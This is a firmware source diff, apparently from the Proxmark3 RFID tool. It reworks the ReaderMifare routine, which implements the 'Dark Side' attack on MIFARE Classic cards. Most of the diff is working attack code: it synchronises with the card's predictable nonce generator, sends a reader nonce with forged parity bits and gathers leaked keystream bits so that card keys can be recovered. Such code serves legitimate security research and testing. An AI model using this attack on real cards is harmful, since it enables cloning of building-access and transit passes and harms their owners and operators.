// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
-
+
// Now get the answer from the card
Demod.output = receivedResponse;
Demod.len = 0;
int len;
// Broadcast for a card, WUPA (0x52) will force response from all cards in the field
- ReaderTransmitBitsPar(wupa,7,0);
+ ReaderTransmitBitsPar(wupa,7,0);
// Receive the ATQA
if(!ReaderReceive(resp)) return 0;
// Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
-
+
if(p_hi14a_card) {
memcpy(p_hi14a_card->atqa, resp, 2);
p_hi14a_card->uidlen = 0;
// Request for answer to select
AppendCrc14443a(rats, 2);
ReaderTransmit(rats, sizeof(rats));
-
+
if (!(len = ReaderReceive(resp))) return 0;
if(p_hi14a_card) {
LEDsoff();
}
+
+// prepare the Mifare AUTH transfer with an added necessary delay.
+void PrepareDelayedAuthTransfer(uint8_t* frame, int len, uint16_t delay)
+{
+ CodeIso14443aBitsAsReaderPar(frame, len*8, GetParity(frame,len));
+
+ uint8_t bitmask = 0;
+ uint8_t bits_to_shift = 0;
+ uint8_t bits_shifted = 0;
+
+ if (delay) {
+ for (uint16_t i = 0; i < delay; i++) {
+ bitmask |= (0x01 << i);
+ }
+ ToSend[++ToSendMax] = 0x00;
+ for (uint16_t i = 0; i < ToSendMax; i++) {
+ bits_to_shift = ToSend[i] & bitmask;
+ ToSend[i] = ToSend[i] >> delay;
+ ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
+ bits_shifted = bits_to_shift;
+ }
+ }
+}
+
+
+
+// Determine the distance between two nonces.
+// Assume that the difference is small, but we don't know which is first.
+// Therefore try in alternating directions.
+int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
+
+ uint16_t i;
+ uint32_t nttmp1, nttmp2;
+
+ if (nt1 == nt2) return 0;
+
+ nttmp1 = nt1;
+ nttmp2 = nt2;
+
+ for (i = 1; i < 32768; i++) {
+ nttmp1 = prng_successor(nttmp1, 1);
+ if (nttmp1 == nt2) return i;
+ nttmp2 = prng_successor(nttmp2, 1);
+ if (nttmp2 == nt1) return -i;
+ }
+
+ return(-99999); // either nt1 or nt2 are invalid nonces
+}
+
+
//-----------------------------------------------------------------------------
-// Read an ISO 14443a tag. Send out commands and store answers.
-//
+// Recover several bits of the cypher stream. This implements (first stages of)
+// the algorithm described in "The Dark Side of Security by Obscurity and
+// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
+// (article by Nicolas T. Courtois, 2009)
//-----------------------------------------------------------------------------
-void ReaderMifare(uint32_t parameter)
+void ReaderMifare(bool first_try)
{
// Mifare AUTH
uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+ static uint8_t mf_nr_ar3;
- uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
+ uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
traceLen = 0;
tracing = false;
- iso14443a_setup();
-
- LED_A_ON();
- LED_B_OFF();
- LED_C_OFF();
-
byte_t nt_diff = 0;
- LED_A_OFF();
byte_t par = 0;
//byte_t par_mask = 0xff;
- byte_t par_low = 0;
- int led_on = TRUE;
- uint8_t uid[8];
+ static byte_t par_low = 0;
+ bool led_on = TRUE;
+ uint8_t uid[10];
uint32_t cuid;
- tracing = FALSE;
- byte_t nt[4] = {0,0,0,0};
- byte_t nt_attacked[4], nt_noattack[4];
+ uint32_t nt, previous_nt;
+ static uint32_t nt_attacked = 0;
byte_t par_list[8] = {0,0,0,0,0,0,0,0};
byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
- num_to_bytes(parameter, 4, nt_noattack);
- int isOK = 0, isNULL = 0;
- while(TRUE)
- {
- LED_C_OFF();
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(50);
- FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- LED_C_ON();
- SpinDelay(2);
+ static uint32_t sync_time;
+ static uint32_t sync_cycles;
+ int catch_up_cycles = 0;
+ int last_catch_up = 0;
+ uint16_t consecutive_resyncs = 0;
+ int isOK = 0;
+
+
+
+ if (first_try) {
+ StartCountMifare();
+ mf_nr_ar3 = 0;
+ iso14443a_setup();
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); // resets some FPGA internal registers
+ while((GetCountMifare() & 0xffff0000) != 0x10000); // wait for counter to reset and "warm up"
+ while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME); // wait for ssp_frame to be low
+ while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME)); // sync on rising edge of ssp_frame
+ sync_time = GetCountMifare();
+ sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+ nt_attacked = 0;
+ nt = 0;
+ par = 0;
+ }
+ else {
+ // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
+ // nt_attacked = prng_successor(nt_attacked, 1);
+ mf_nr_ar3++;
+ mf_nr_ar[3] = mf_nr_ar3;
+ par = par_low;
+ }
+
+ LED_A_ON();
+ LED_B_OFF();
+ LED_C_OFF();
+
+
+ for(uint16_t i = 0; TRUE; i++) {
+
+ WDT_HIT();
// Test if the action was cancelled
if(BUTTON_PRESS()) {
break;
}
+
+ LED_C_ON();
+
+ if(!iso14443a_select_card(uid, NULL, &cuid)) {
+ continue;
+ }
- if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
+ //keep the card active
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+ PrepareDelayedAuthTransfer(mf_auth, sizeof(mf_auth), (sync_cycles + catch_up_cycles) & 0x00000007);
+
+ sync_time = sync_time + ((sync_cycles + catch_up_cycles) & 0xfffffff8);
+ catch_up_cycles = 0;
+
+ // if we missed the sync time already, advance to the next nonce repeat
+ while(GetCountMifare() > sync_time) {
+ sync_time = sync_time + (sync_cycles & 0xfffffff8);
+ }
+
+ // now sync. After syncing, the following Classic Auth will return the same tag nonce (mostly)
+ while(GetCountMifare() < sync_time);
+
// Transmit MIFARE_CLASSIC_AUTH
- ReaderTransmit(mf_auth, sizeof(mf_auth));
+ int samples = 0;
+ int wait = 0;
+ TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
- // Receive the (16 bit) "random" nonce
- if (!ReaderReceive(receivedAnswer)) continue;
- memcpy(nt, receivedAnswer, 4);
+ // Receive the (4 Byte) "random" nonce
+ if (!ReaderReceive(receivedAnswer)) {
+ continue;
+ }
- // Transmit reader nonce and reader answer
- ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par);
+
+ previous_nt = nt;
+ nt = bytes_to_num(receivedAnswer, 4);
- // Receive 4 bit answer
- if (ReaderReceive(receivedAnswer))
- {
- if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
+ // Transmit reader nonce with fake par
+ ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par);
- isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
- if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue;
+ if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
+ int nt_distance = dist_nt(previous_nt, nt);
+ if (nt_distance == 0) {
+ nt_attacked = nt;
+ }
+ else {
+ if (nt_distance == -99999) { // invalid nonce received, try again
+ continue;
+ }
+ sync_cycles = (sync_cycles - nt_distance);
+// Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+ continue;
+ }
+ }
+ if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again...
+ catch_up_cycles = -dist_nt(nt_attacked, nt);
+ if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one.
+ catch_up_cycles = 0;
+ continue;
+ }
+ if (catch_up_cycles == last_catch_up) {
+ consecutive_resyncs++;
+ }
+ else {
+ last_catch_up = catch_up_cycles;
+ consecutive_resyncs = 0;
+ }
+ if (consecutive_resyncs < 3) {
+ Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+ }
+ else {
+ sync_cycles = sync_cycles + catch_up_cycles;
+ Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+ }
+ continue;
+ }
+
+ consecutive_resyncs = 0;
+
+ // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+ if (ReaderReceive(receivedAnswer))
+ {
+ catch_up_cycles = 8; // the PRNG doesn't run during data transfers. 4 Bit = 8 cycles
+
if (nt_diff == 0)
{
- LED_A_ON();
- memcpy(nt_attacked, nt, 4);
- //par_mask = 0xf8;
- par_low = par & 0x07;
+ par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
}
led_on = !led_on;
if(led_on) LED_B_ON(); else LED_B_OFF();
+
par_list[nt_diff] = par;
ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
}
nt_diff = (nt_diff + 1) & 0x07;
- mf_nr_ar[3] = nt_diff << 5;
+ mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
par = par_low;
} else {
- if (nt_diff == 0)
+ if (nt_diff == 0 && first_try)
{
par++;
} else {
}
}
- LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE);
+ LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
- byte_t buf[48];
-// UsbCommand ack = {CMD_ACK, {isOK, 0, 0}};
+ mf_nr_ar[3] &= 0x1F;
+
+ byte_t buf[28];
memcpy(buf + 0, uid, 4);
- memcpy(buf + 4, nt, 4);
+ num_to_bytes(nt, 4, buf + 4);
memcpy(buf + 8, par_list, 8);
memcpy(buf + 16, ks_list, 8);
+ memcpy(buf + 24, mf_nr_ar, 4);
- LED_B_ON();
- cmd_send(CMD_ACK,isOK,0,0,buf,48);
-// UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
- LED_B_OFF();
+ cmd_send(CMD_ACK,isOK,0,0,buf,28);
// Thats it...
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
tracing = TRUE;
-
- if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
}
-
//-----------------------------------------------------------------------------
// MIFARE 1K simulate.
//
projects / proxmark3-svn / blobdiff